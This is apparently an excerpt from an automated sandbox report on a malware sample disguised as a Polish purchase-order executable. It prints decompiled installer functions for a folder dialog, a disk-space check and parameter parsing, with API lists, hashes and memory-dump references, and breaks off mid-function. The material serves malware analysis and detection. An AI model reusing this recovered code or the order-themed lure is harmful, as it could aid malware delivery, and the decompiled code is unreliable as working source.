                                                                                              • Opcode ID: 740ea71b6102a598a93b05621d95f64ff88d0dc0fa76445e6ba636445e9306ed
                                                                                              • Instruction ID: e7c54df8ad39b376662a796d960b289492e5a6982c1727c2c37b81bede79f7f2
                                                                                              • Opcode Fuzzy Hash: 740ea71b6102a598a93b05621d95f64ff88d0dc0fa76445e6ba636445e9306ed
                                                                                              • Instruction Fuzzy Hash: 43025EB0A00209AFEF109F54DC85AAE7BB5FB84315F10817AF611B62E1D7789E42DF58
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 0040431C Relevance: 26.5, APIs: 10, Strings: 5, Instructions: 274stringCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 78%
                                                                                              			E0040431C(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				intOrPtr _v32;
				long _v36;
				char _v40;
				unsigned int _v44;
				signed int _v48;
				CHAR* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				CHAR* _v72;
				void _v76;
				struct HWND__* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t82;
				long _t87;
				signed char* _t89;
				void* _t95;
				signed int _t96;
				int _t109;
				signed char _t114;
				signed int _t118;
				struct HWND__** _t122;
				intOrPtr* _t138;
				CHAR* _t146;
				intOrPtr _t147;
				unsigned int _t150;
				signed int _t152;
				unsigned int _t156;
				signed int _t158;
				signed int* _t159;
				signed char* _t160;
				struct HWND__* _t165;
				struct HWND__* _t166;
				int _t168;
				unsigned int _t197;
				void* _t205;

				_t156 = __edx;
				_t82 =  *0x41f4e0; // 0x703ecc
				_v32 = _t82;
				_t2 = _t82 + 0x3c; // 0x0
				_t3 = _t82 + 0x38; // 0x0
				_t146 = ( *_t2 << 0xa) + 0x424000;
				_v12 =  *_t3;
				if(_a8 == 0x40b) {
					E004054D3(0x3fb, _t146);
					E00405F64(_t146);
				}
				_t166 = _a4;
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E004054D3(0x3fb, _t146);
							if(E00405859(_t185, _t146) == 0) {
								_v8 = 1;
							}
							E00405CF9(0x41ecd8, _t146);
							_t87 = E00406092("true");
							_v16 = _t87;
							if(_t87 == 0) {
								L30:
								E00405CF9(0x41ecd8, _t146);
								_t89 = E00405804(0x41ecd8);
								_t158 = 0;
								if(_t89 != 0) {
									 *_t89 =  *_t89 & 0x00000000;
								}
								if(GetDiskFreeSpaceA(0x41ecd8,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
									goto L35;
								} else {
									_t168 = 0x400;
									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
									asm("cdq");
									_v48 = _t109;
									_v44 = _t156;
									_v12 = 1;
									goto L36;
								}
							} else {
								_t159 = 0;
								if(0 == 0x41ecd8) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t114 = _v16(0x41ecd8,  &_v48,  &_v28,  &_v40);
									if(_t114 != 0) {
										break;
									}
									if(_t159 != 0) {
										 *_t159 =  *_t159 & _t114;
									}
									_t160 = E004057B2(0x41ecd8);
									 *_t160 =  *_t160 & 0x00000000;
									_t159 = _t160 - 1;
									 *_t159 = 0x5c;
									if(_t159 != 0x41ecd8) {
										continue;
									} else {
										goto L30;
									}
								}
								_t150 = _v44;
								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
								_v44 = _t150 >> 0xa;
								_v12 = 1;
								_t158 = 0;
								__eflags = 0;
								L35:
								_t168 = 0x400;
								L36:
								_t95 = E004047B0(5);
								if(_v12 != _t158) {
									_t197 = _v44;
									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
										_v8 = 2;
									}
								}
								_t147 =  *0x422edc; // 0x707941
								if( *((intOrPtr*)(_t147 + 0x10)) != _t158) {
									E00404798(0x3ff, 0xfffffffb, _t95);
									if(_v12 == _t158) {
										SetDlgItemTextA(_a4, _t168, 0x41ecc8);
									} else {
										E004046D3(_t168, 0xfffffffc, _v48, _v44);
									}
								}
								_t96 = _v8;
								 *0x4237a4 = _t96;
								if(_t96 == _t158) {
									_v8 = E0040140B(7);
								}
								if(( *(_v32 + 0x14) & _t168) != 0) {
									_v8 = _t158;
								}
								E00403F00(0 | _v8 == _t158);
								if(_v8 == _t158) {
									_t205 =  *0x41fcf8 - _t158; // 0x0
									if(_t205 == 0) {
										E004042B1();
									}
								}
								 *0x41fcf8 = _t158;
								goto L53;
							}
						}
						_t185 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t118 = _a12 & 0x0000ffff;
					if(_t118 != 0x3fb) {
						L12:
						if(_t118 == 0x3e9) {
							_t152 = 7;
							memset( &_v76, 0, _t152 << 2);
							_v80 = _t166;
							_v72 = 0x41fd08;
							_v60 = E0040466D;
							_v56 = _t146;
							_v68 = E00405D1B(_t146, 0x41fd08, _t166, 0x41f0e0, _v12);
							_t122 =  &_v80;
							_v64 = 0x41;
							__imp__SHBrowseForFolderA(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E0040576B(_t146);
								_t125 =  *((intOrPtr*)( *0x423710 + 0x11c));
								if( *((intOrPtr*)( *0x423710 + 0x11c)) != 0 && _t146 == "C:\\Users\\Arthur\\Pacifisterne\\Automatcafeer") {
									E00405D1B(_t146, 0x41fd08, _t166, 0, _t125);
									if(lstrcmpiA(0x4226a0, 0x41fd08) != 0) {
										lstrcatA(_t146, 0x4226a0);
									}
								}
								 *0x41fcf8 =  *0x41fcf8 + 1;
								SetDlgItemTextA(_t166, 0x3fb, _t146);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					} else {
						_a8 = 0x40f;
						goto L12;
					}
				} else {
					_t165 = GetDlgItem(_t166, 0x3fb);
					if(E004057D8(_t146) != 0 && E00405804(_t146) == 0) {
						E0040576B(_t146);
					}
					 *0x422ed8 = _t166;
					SetWindowTextA(_t165, _t146);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push("true");
					E00403EDE(_t166);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E00403EDE(_t166);
					E00403F13(_t165);
					_t138 = E00406092(6);
					if(_t138 == 0) {
						L53:
						return E00403F45(_a8, _a12, _a16);
					} else {
						 *_t138(_t165, "true");
						goto L8;
					}
				}
			}















































                                                                                              0x0040431c
                                                                                              0x00404322
                                                                                              0x00404328
                                                                                              0x0040432c
                                                                                              0x0040432f
                                                                                              0x00404335
                                                                                              0x00404343
                                                                                              0x00404346
                                                                                              0x0040434e
                                                                                              0x00404354
                                                                                              0x00404354
                                                                                              0x00404360
                                                                                              0x00404363
                                                                                              0x004043d1
                                                                                              0x004043d8
                                                                                              0x004044af
                                                                                              0x004044b6
                                                                                              0x004044c5
                                                                                              0x004044c5
                                                                                              0x004044c9
                                                                                              0x004044d3
                                                                                              0x004044e0
                                                                                              0x004044e2
                                                                                              0x004044e2
                                                                                              0x004044f0
                                                                                              0x004044f7
                                                                                              0x004044fe
                                                                                              0x00404501
                                                                                              0x00404538
                                                                                              0x0040453a
                                                                                              0x00404540
                                                                                              0x00404545
                                                                                              0x00404549
                                                                                              0x0040454b
                                                                                              0x0040454b
                                                                                              0x00404567
                                                                                              0x00000000
                                                                                              0x00404569
                                                                                              0x0040456c
                                                                                              0x0040457a
                                                                                              0x00404580
                                                                                              0x00404581
                                                                                              0x00404584
                                                                                              0x00404587
                                                                                              0x00000000
                                                                                              0x00404587
                                                                                              0x00404503
                                                                                              0x00404505
                                                                                              0x00404509
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040450b
                                                                                              0x0040450b
                                                                                              0x00404518
                                                                                              0x0040451d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00404521
                                                                                              0x00404523
                                                                                              0x00404523
                                                                                              0x0040452b
                                                                                              0x0040452d
                                                                                              0x00404530
                                                                                              0x00404533
                                                                                              0x00404536
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00404536
                                                                                              0x00404593
                                                                                              0x0040459d
                                                                                              0x004045a0
                                                                                              0x004045a3
                                                                                              0x004045aa
                                                                                              0x004045aa
                                                                                              0x004045ac
                                                                                              0x004045ac
                                                                                              0x004045b1
                                                                                              0x004045b3
                                                                                              0x004045bb
                                                                                              0x004045c2
                                                                                              0x004045c4
                                                                                              0x004045cf
                                                                                              0x004045cf
                                                                                              0x004045c4
                                                                                              0x004045d6
                                                                                              0x004045df
                                                                                              0x004045e9
                                                                                              0x004045f1
                                                                                              0x0040460c
                                                                                              0x004045f3
                                                                                              0x004045fc
                                                                                              0x004045fc
                                                                                              0x004045f1
                                                                                              0x00404611
                                                                                              0x00404616
                                                                                              0x0040461b
                                                                                              0x00404624
                                                                                              0x00404624
                                                                                              0x0040462d
                                                                                              0x0040462f
                                                                                              0x0040462f
                                                                                              0x0040463b
                                                                                              0x00404643
                                                                                              0x00404645
                                                                                              0x0040464b
                                                                                              0x0040464d
                                                                                              0x0040464d
                                                                                              0x0040464b
                                                                                              0x00404652
                                                                                              0x00000000
                                                                                              0x00404652
                                                                                              0x00404501
                                                                                              0x004044b8
                                                                                              0x004044bf
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004044bf
                                                                                              0x004043de
                                                                                              0x004043e7
                                                                                              0x00404401
                                                                                              0x00404406
                                                                                              0x00404410
                                                                                              0x00404417
                                                                                              0x00404423
                                                                                              0x00404426
                                                                                              0x00404429
                                                                                              0x00404430
                                                                                              0x00404438
                                                                                              0x0040443b
                                                                                              0x0040443f
                                                                                              0x00404446
                                                                                              0x0040444e
                                                                                              0x004044a8
                                                                                              0x00404450
                                                                                              0x00404451
                                                                                              0x00404458
                                                                                              0x00404462
                                                                                              0x0040446a
                                                                                              0x00404477
                                                                                              0x0040448b
                                                                                              0x0040448f
                                                                                              0x0040448f
                                                                                              0x0040448b
                                                                                              0x00404494
                                                                                              0x004044a1
                                                                                              0x004044a1
                                                                                              0x0040444e
                                                                                              0x00000000
                                                                                              0x00404406
                                                                                              0x004043f4
                                                                                              0x00000000
                                                                                              0x004043fa
                                                                                              0x004043fa
                                                                                              0x00000000
                                                                                              0x004043fa
                                                                                              0x00404365
                                                                                              0x00404372
                                                                                              0x0040437b
                                                                                              0x00404388
                                                                                              0x00404388
                                                                                              0x0040438f
                                                                                              0x00404395
                                                                                              0x0040439e
                                                                                              0x004043a1
                                                                                              0x004043a4
                                                                                              0x004043ac
                                                                                              0x004043af
                                                                                              0x004043b2
                                                                                              0x004043b8
                                                                                              0x004043bf
                                                                                              0x004043c6
                                                                                              0x00404658
                                                                                              0x0040466a
                                                                                              0x004043cc
                                                                                              0x004043cf
                                                                                              0x00000000
                                                                                              0x004043cf
                                                                                              0x004043c6

                                                                                              APIs
                                                                                              • GetDlgItem.USER32(?,000003FB), ref: 0040436B
                                                                                              • SetWindowTextA.USER32(00000000,-00424000), ref: 00404395
                                                                                              • SHBrowseForFolderA.SHELL32(?,0041F0E0,?), ref: 00404446
                                                                                              • CoTaskMemFree.OLE32(00000000), ref: 00404451
                                                                                              • lstrcmpiA.KERNEL32(Call,Staalbrylluppets Setup: Installing), ref: 00404483
                                                                                              • lstrcatA.KERNEL32(-00424000,Call), ref: 0040448F
                                                                                              • SetDlgItemTextA.USER32(?,000003FB,-00424000), ref: 004044A1
                                                                                                • Part of subcall function 004054D3: GetDlgItemTextA.USER32(?,?,00000400,004044D8), ref: 004054E6
                                                                                                • Part of subcall function 00405F64: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe",76283410,C:\Users\user\AppData\Local\Temp\,00000000,004030B4,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032C9), ref: 00405FBC
                                                                                                • Part of subcall function 00405F64: CharNextA.USER32(?,?,?,00000000), ref: 00405FC9
                                                                                                • Part of subcall function 00405F64: CharNextA.USER32(?,"C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe",76283410,C:\Users\user\AppData\Local\Temp\,00000000,004030B4,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032C9), ref: 00405FCE
                                                                                                • Part of subcall function 00405F64: CharPrevA.USER32(?,?,76283410,C:\Users\user\AppData\Local\Temp\,00000000,004030B4,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032C9), ref: 00405FDE
                                                                                              • GetDiskFreeSpaceA.KERNEL32(0041ECD8,?,?,0000040F,?,0041ECD8,0041ECD8,-00424000,?,0041ECD8,-00424000,-00424000,000003FB,-00424000), ref: 0040455F
                                                                                              • MulDiv.KERNEL32(?,0000040F,00000400), ref: 0040457A
                                                                                                • Part of subcall function 004046D3: lstrlenA.KERNEL32(Staalbrylluppets Setup: Installing,Staalbrylluppets Setup: Installing,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004045EE,000000DF,00000000,00000400,-00424000), ref: 00404771
                                                                                                • Part of subcall function 004046D3: wsprintfA.USER32 ref: 00404779
                                                                                                • Part of subcall function 004046D3: SetDlgItemTextA.USER32(?,Staalbrylluppets Setup: Installing), ref: 0040478C
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
                                                                                              • String ID: A$Ayp$C:\Users\user\Pacifisterne\Automatcafeer$Call$Staalbrylluppets Setup: Installing
                                                                                              • API String ID: 2624150263-382470352
                                                                                              • Opcode ID: 287a848f07727e5060837a884b3595807051cc28657a93d39b14e32bd715fa24
                                                                                              • Instruction ID: 222947b4accbc62cc0073c5541b0f9589876626f1104fcc3d8441c992cea6716
                                                                                              • Opcode Fuzzy Hash: 287a848f07727e5060837a884b3595807051cc28657a93d39b14e32bd715fa24
                                                                                              • Instruction Fuzzy Hash: 71A17EB1900209ABDB11AFA5CC45BEFB6B8EF84315F14843BF711B62D1D77C8A418B69
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 10001A5D Relevance: 20.0, APIs: 13, Instructions: 540stringmemoryCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 95%
                                                                                              			E10001A5D() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				CHAR* _v24;
				CHAR* _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				CHAR* _v44;
				signed int _v48;
				void* _v52;
				intOrPtr _v56;
				CHAR* _t198;
				signed int _t201;
				void* _t203;
				void* _t205;
				CHAR* _t207;
				void* _t215;
				struct HINSTANCE__* _t216;
				struct HINSTANCE__* _t217;
				struct HINSTANCE__* _t219;
				signed short _t221;
				struct HINSTANCE__* _t224;
				struct HINSTANCE__* _t226;
				void* _t227;
				char* _t228;
				void* _t239;
				signed char _t240;
				signed int _t241;
				struct HINSTANCE__* _t247;
				void* _t248;
				signed int _t250;
				signed int _t252;
				signed int _t258;
				void* _t259;
				signed int _t262;
				signed int _t265;
				signed int _t266;
				signed int _t271;
				signed int _t272;
				signed int _t273;
				signed int _t274;
				void* _t277;
				void* _t281;
				struct HINSTANCE__* _t283;
				signed char _t286;
				void _t287;
				signed int _t288;
				signed int _t300;
				signed int _t301;
				signed char _t307;
				signed int _t308;
				CHAR* _t309;
				CHAR* _t311;
				CHAR* _t312;
				struct HINSTANCE__* _t313;
				void* _t315;
				signed int _t316;
				void* _t317;

				_t283 = 0;
				_v32 = 0;
				_v36 = 0;
				_v16 = 0;
				_v8 = 0;
				_v40 = 0;
				_t317 = 0;
				_v48 = 0;
				_t198 = E10001215();
				_v24 = _t198;
				_v28 = _t198;
				_v44 = E10001215();
				_t308 = E1000123B();
				_v52 = _t308;
				_v12 = _t308;
				while(1) {
					_t201 = _v32;
					_v56 = _t201;
					if(_t201 != _t283 && _t317 == _t283) {
						break;
					}
					_t307 =  *_t308;
					_t286 = _t307;
					_t203 = _t286 - _t283;
					if(_t203 == 0) {
						_t33 =  &_v32;
						 *_t33 = _v32 | 0xffffffff;
						__eflags =  *_t33;
						L17:
						_t205 = _v56 - _t283;
						if(_t205 == 0) {
							 *_v28 =  *_v28 & 0x00000000;
							__eflags = _t317 - _t283;
							if(_t317 == _t283) {
								_t317 = GlobalAlloc(0x40, 0x14a4);
								 *(_t317 + 0x810) = _t283;
								 *(_t317 + 0x814) = _t283;
							}
							_t287 = _v36;
							_t43 = _t317 + 8; // 0x8
							_t207 = _t43;
							_t44 = _t317 + 0x408; // 0x408
							_t309 = _t44;
							 *_t317 = _t287;
							 *_t207 =  *_t207 & 0x00000000;
							 *(_t317 + 0x808) = _t283;
							 *_t309 =  *_t309 & 0x00000000;
							_t288 = _t287 - _t283;
							__eflags = _t288;
							 *(_t317 + 0x80c) = _t283;
							 *(_t317 + 4) = _t283;
							if(_t288 == 0) {
								__eflags = _v28 - _v24;
								if(_v28 == _v24) {
									goto L39;
								}
								_t315 = 0;
								GlobalFree(_t317);
								_t317 = E100012FE(_v24);
								__eflags = _t317 - _t283;
								if(_t317 == _t283) {
									goto L39;
								} else {
									goto L32;
								}
								while(1) {
									L32:
									_t239 =  *(_t317 + 0x14a0);
									__eflags = _t239 - _t283;
									if(_t239 == _t283) {
										break;
									}
									_t315 = _t317;
									_t317 = _t239;
									__eflags = _t317 - _t283;
									if(_t317 != _t283) {
										continue;
									}
									break;
								}
								__eflags = _t315 - _t283;
								if(_t315 != _t283) {
									 *(_t315 + 0x14a0) = _t283;
								}
								_t240 =  *(_t317 + 0x810);
								__eflags = _t240 & 0x00000008;
								if((_t240 & 0x00000008) == 0) {
									_t241 = _t240 | 0x00000002;
									__eflags = _t241;
									 *(_t317 + 0x810) = _t241;
								} else {
									_t317 = E10001534(_t317);
									 *(_t317 + 0x810) =  *(_t317 + 0x810) & 0xfffffff5;
								}
								goto L39;
							} else {
								_t300 = _t288 - 1;
								__eflags = _t300;
								if(_t300 == 0) {
									L28:
									lstrcpyA(_t207, _v44);
									L29:
									lstrcpyA(_t309, _v24);
									L39:
									_v12 = _v12 + 1;
									_v28 = _v24;
									L63:
									if(_v32 != 0xffffffff) {
										_t308 = _v12;
										continue;
									}
									break;
								}
								_t301 = _t300 - 1;
								__eflags = _t301;
								if(_t301 == 0) {
									goto L29;
								}
								__eflags = _t301 != 1;
								if(_t301 != 1) {
									goto L39;
								}
								goto L28;
							}
						}
						if(_t205 != 1) {
							goto L39;
						}
						_t247 = _v16;
						if(_v40 == _t283) {
							_t247 = _t247 - 1;
						}
						 *(_t317 + 0x814) = _t247;
						goto L39;
					}
					_t248 = _t203 - 0x23;
					if(_t248 == 0) {
						__eflags = _t308 - _v52;
						if(_t308 <= _v52) {
							L15:
							_v32 = _t283;
							_v36 = _t283;
							goto L17;
						}
						__eflags =  *((char*)(_t308 - 1)) - 0x3a;
						if( *((char*)(_t308 - 1)) != 0x3a) {
							goto L15;
						}
						__eflags = _v32 - _t283;
						if(_v32 == _t283) {
							L40:
							_t250 = _v32 - _t283;
							__eflags = _t250;
							if(_t250 == 0) {
								__eflags = _t307 - 0x2a;
								if(_t307 == 0x2a) {
									_v36 = 2;
									L61:
									_t308 = _v12;
									_v28 = _v24;
									_t283 = 0;
									__eflags = 0;
									L62:
									_t316 = _t308 + 1;
									__eflags = _t316;
									_v12 = _t316;
									goto L63;
								}
								__eflags = _t307 - 0x2d;
								if(_t307 == 0x2d) {
									L132:
									_t252 = _t308 + 1;
									__eflags =  *_t252 - 0x3e;
									if( *_t252 != 0x3e) {
										L134:
										_t252 = _t308 + 1;
										__eflags =  *_t252 - 0x3a;
										if( *_t252 != 0x3a) {
											L141:
											_v28 =  &(_v28[1]);
											 *_v28 = _t307;
											goto L62;
										}
										__eflags = _t307 - 0x2d;
										if(_t307 == 0x2d) {
											goto L141;
										}
										_v36 = 1;
										L137:
										_v12 = _t252;
										__eflags = _v28 - _v24;
										if(_v28 <= _v24) {
											 *_v44 =  *_v44 & 0x00000000;
										} else {
											 *_v28 =  *_v28 & 0x00000000;
											lstrcpyA(_v44, _v24);
										}
										goto L61;
									}
									_v36 = 3;
									goto L137;
								}
								__eflags = _t307 - 0x3a;
								if(_t307 != 0x3a) {
									goto L141;
								}
								__eflags = _t307 - 0x2d;
								if(_t307 != 0x2d) {
									goto L134;
								}
								goto L132;
							}
							_t258 = _t250 - 1;
							__eflags = _t258;
							if(_t258 == 0) {
								L74:
								_t259 = _t286 - 0x22;
								__eflags = _t259 - 0x55;
								if(_t259 > 0x55) {
									goto L61;
								}
								switch( *((intOrPtr*)(( *(_t259 + 0x1000215a) & 0x000000ff) * 4 +  &M100020F6))) {
									case 0:
										__eax = _v24;
										__edi = _v12;
										while(1) {
											__edi = __edi + 1;
											_v12 = __edi;
											__cl =  *__edi;
											__eflags = __cl - __dl;
											if(__cl != __dl) {
												goto L116;
											}
											L115:
											__eflags =  *(__edi + 1) - __dl;
											if( *(__edi + 1) != __dl) {
												L120:
												 *__eax =  *__eax & 0x00000000;
												__ebx = E10001224(_v24);
												goto L91;
											}
											L116:
											__eflags = __cl;
											if(__cl == 0) {
												goto L120;
											}
											__eflags = __cl - __dl;
											if(__cl == __dl) {
												__edi = __edi + 1;
												__eflags = __edi;
											}
											__cl =  *__edi;
											 *__eax =  *__edi;
											__eax = __eax + 1;
											__edi = __edi + 1;
											_v12 = __edi;
											__cl =  *__edi;
											__eflags = __cl - __dl;
											if(__cl != __dl) {
												goto L116;
											}
											goto L115;
										}
									case 1:
										_v8 = 1;
										goto L61;
									case 2:
										_v8 = _v8 | 0xffffffff;
										goto L61;
									case 3:
										_v8 = _v8 & 0x00000000;
										_v20 = _v20 & 0x00000000;
										_v16 = _v16 + 1;
										goto L79;
									case 4:
										__eflags = _v20;
										if(_v20 != 0) {
											goto L61;
										}
										_v12 = _v12 - 1;
										__ebx = E10001215();
										 &_v12 = E100019FB( &_v12);
										__eax = E10001429(__edx, __eax, __edx, __ebx);
										goto L91;
									case 5:
										L99:
										_v20 = _v20 + 1;
										goto L61;
									case 6:
										_push(7);
										goto L107;
									case 7:
										_push(0x19);
										goto L127;
									case 8:
										_push(0x15);
										goto L127;
									case 9:
										_push(0x16);
										goto L127;
									case 0xa:
										_push(0x18);
										goto L127;
									case 0xb:
										_push(5);
										goto L107;
									case 0xc:
										__eax = 0;
										__eax = 1;
										goto L85;
									case 0xd:
										_push(6);
										goto L107;
									case 0xe:
										_push(2);
										goto L107;
									case 0xf:
										_push(3);
										goto L107;
									case 0x10:
										_push(0x17);
										L127:
										_pop(__ebx);
										goto L92;
									case 0x11:
										__eax =  &_v12;
										__eax = E100019FB( &_v12);
										__ebx = __eax;
										__ebx = __eax + 1;
										__eflags = __ebx - 0xb;
										if(__ebx < 0xb) {
											__ebx = __ebx + 0xa;
										}
										goto L91;
									case 0x12:
										__ebx = 0xffffffff;
										goto L92;
									case 0x13:
										_v48 = _v48 + 1;
										_push(3);
										_pop(__eax);
										goto L85;
									case 0x14:
										__eax = 0;
										__eflags = 0;
										goto L85;
									case 0x15:
										_push(4);
										L107:
										_pop(__eax);
										L85:
										__edi = _v16;
										__ecx =  *(0x1000305c + __eax * 4);
										__edi = _v16 << 5;
										__edx = 0;
										__edi = (_v16 << 5) + __esi;
										__edx = 1;
										__eflags = _v8 - 0xffffffff;
										_v40 = 1;
										 *(__edi + 0x818) = __eax;
										if(_v8 == 0xffffffff) {
											L87:
											__ecx = __edx;
											L88:
											__eflags = _v8 - __edx;
											 *(__edi + 0x828) = __ecx;
											if(_v8 == __edx) {
												__eax =  &_v12;
												__eax = E100019FB( &_v12);
												__eax = __eax + 1;
												__eflags = __eax;
												_v8 = __eax;
											}
											__eax = _v8;
											 *((intOrPtr*)(__edi + 0x81c)) = _v8;
											_t133 = _v16 + 0x41; // 0x41
											_t133 = _t133 << 5;
											__eax = 0;
											__eflags = 0;
											 *((intOrPtr*)((_t133 << 5) + __esi)) = 0;
											 *((intOrPtr*)(__edi + 0x830)) = 0;
											 *((intOrPtr*)(__edi + 0x82c)) = 0;
											goto L91;
										}
										__eflags = __ecx;
										if(__ecx > 0) {
											goto L88;
										}
										goto L87;
									case 0x16:
										_t261 =  *(_t317 + 0x814);
										__eflags = _t261 - _v16;
										if(_t261 > _v16) {
											_v16 = _t261;
										}
										_v8 = _v8 & 0x00000000;
										_v20 = _v20 & 0x00000000;
										_v36 - 3 = _t261 - (_v36 == 3);
										if(_t261 != _v36 == 3) {
											L79:
											_v40 = 1;
										}
										goto L61;
									case 0x17:
										__eax =  &_v12;
										__eax = E100019FB( &_v12);
										__ebx = __eax;
										__ebx = __eax + 1;
										L91:
										__eflags = __ebx;
										if(__ebx == 0) {
											goto L61;
										}
										L92:
										__eflags = _v20;
										_v40 = 1;
										if(_v20 != 0) {
											L97:
											__eflags = _v20 - 1;
											if(_v20 == 1) {
												__eax = _v16;
												__eax = _v16 << 5;
												__eflags = __eax;
												 *(__eax + __esi + 0x82c) = __ebx;
											}
											goto L99;
										}
										_v16 = _v16 << 5;
										_t141 = __esi + 0x830; // 0x830
										__edi = (_v16 << 5) + _t141;
										__eax =  *__edi;
										__eflags = __eax - 0xffffffff;
										if(__eax <= 0xffffffff) {
											L95:
											__eax = GlobalFree(__eax);
											L96:
											 *__edi = __ebx;
											goto L97;
										}
										__eflags = __eax - 0x19;
										if(__eax <= 0x19) {
											goto L96;
										}
										goto L95;
									case 0x18:
										goto L61;
								}
							}
							_t262 = _t258 - 1;
							__eflags = _t262;
							if(_t262 == 0) {
								_v16 = _t283;
								goto L74;
							}
							__eflags = _t262 != 1;
							if(_t262 != 1) {
								goto L141;
							}
							_t265 = _t286 - 0x21;
							__eflags = _t265;
							if(_t265 == 0) {
								_v8 =  ~_v8;
								goto L61;
							}
							_t266 = _t265 - 0x42;
							__eflags = _t266;
							if(_t266 == 0) {
								L57:
								__eflags = _v8 - 1;
								if(_v8 != 1) {
									_t92 = _t317 + 0x810;
									 *_t92 =  *(_t317 + 0x810) &  !0x00000001;
									__eflags =  *_t92;
								} else {
									 *(_t317 + 0x810) =  *(_t317 + 0x810) | 1;
								}
								_v8 = 1;
								goto L61;
							}
							_t271 = _t266;
							__eflags = _t271;
							if(_t271 == 0) {
								_push(0x20);
								L56:
								_pop(1);
								goto L57;
							}
							_t272 = _t271 - 9;
							__eflags = _t272;
							if(_t272 == 0) {
								_push(8);
								goto L56;
							}
							_t273 = _t272 - 4;
							__eflags = _t273;
							if(_t273 == 0) {
								_push(4);
								goto L56;
							}
							_t274 = _t273 - 1;
							__eflags = _t274;
							if(_t274 == 0) {
								_push(0x10);
								goto L56;
							}
							__eflags = _t274 != 0;
							if(_t274 != 0) {
								goto L61;
							}
							_push(0x40);
							goto L56;
						}
						goto L15;
					}
					_t277 = _t248 - 5;
					if(_t277 == 0) {
						__eflags = _v36 - 3;
						_v32 = 1;
						_v8 = _t283;
						_v20 = _t283;
						_v16 = (0 | _v36 == 0x00000003) + 1;
						_v40 = _t283;
						goto L17;
					}
					_t281 = _t277 - 1;
					if(_t281 == 0) {
						_v32 = 2;
						_v8 = _t283;
						_v20 = _t283;
						goto L17;
					}
					if(_t281 != 0x16) {
						goto L40;
					} else {
						_v32 = 3;
						_v8 = 1;
						goto L17;
					}
				}
				GlobalFree(_v52);
				GlobalFree(_v24);
				GlobalFree(_v44);
				if(_t317 == _t283 ||  *(_t317 + 0x80c) != _t283) {
					L161:
					return _t317;
				} else {
					_t215 =  *_t317 - 1;
					if(_t215 == 0) {
						_t178 = _t317 + 8; // 0x8
						_t311 = _t178;
						__eflags =  *_t311;
						if( *_t311 != 0) {
							_t216 = GetModuleHandleA(_t311);
							__eflags = _t216 - _t283;
							 *(_t317 + 0x808) = _t216;
							if(_t216 != _t283) {
								L150:
